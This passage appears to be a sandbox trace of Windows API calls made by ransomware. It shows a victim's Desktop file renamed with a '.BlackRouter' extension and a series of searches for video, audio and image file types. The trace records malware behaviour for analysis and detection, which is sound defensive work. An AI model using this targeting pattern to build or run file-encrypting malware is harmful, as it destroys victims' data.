lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\V0rFYHw_F9.swf", lpFilePart=0x0) returned 0x3f [0039.785] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\V0rFYHw_F9.swf.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae260, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\V0rFYHw_F9.swf.BlackRouter", lpFilePart=0x0) returned 0x4b [0039.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae6a0) returned 1 [0039.786] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\V0rFYHw_F9.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\v0rfyhw_f9.swf"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd595ec00, ftCreationTime.dwHighDateTime=0x1d459d7, ftLastAccessTime.dwLowDateTime=0x76a9d270, ftLastAccessTime.dwHighDateTime=0x1d4583c, ftLastWriteTime.dwLowDateTime=0xbe38d7b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xe470)) returned 1 [0039.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae660) returned 1 [0039.786] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\V0rFYHw_F9.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\v0rfyhw_f9.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\V0rFYHw_F9.swf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\v0rfyhw_f9.swf.blackrouter")) returned 1 [0039.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.786] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.786] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.787] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.fla", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.787] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.787] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.787] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.wmv", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.787] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.787] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.787] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.mpg", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.788] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.788] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.788] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.vob", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.788] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.788] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.788] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.mpeg", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.789] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.789] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.789] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.asf", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.789] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.789] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.789] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.avi", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.789] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.789] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.789] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.mov", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.790] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.790] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.790] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.mp4", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.790] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.790] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.790] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.mkv", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.791] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.791] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.791] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.flv", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.791] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.791] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.791] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.wma", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.791] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.791] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.792] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.mid", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.792] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.792] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.792] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.m3u", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.792] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.792] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.792] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.m4u", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.793] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.793] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.793] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.svg", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.793] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.793] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.793] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.psd", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.794] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.794] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.794] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.tiff", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.794] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.794] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.794] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.tif", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.794] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.794] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.794] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.raw", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.795] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.795] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.795] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.gif", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.795] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.795] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.795] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.png", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0x1ac59c20 [0039.796] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 0 [0039.796] FindClose (in: hFindFile=0x1ac59c20 | out: hFindFile=0x1ac59c20) returned 1 [0039.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.796] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.796] GetFullPathNameW (in: 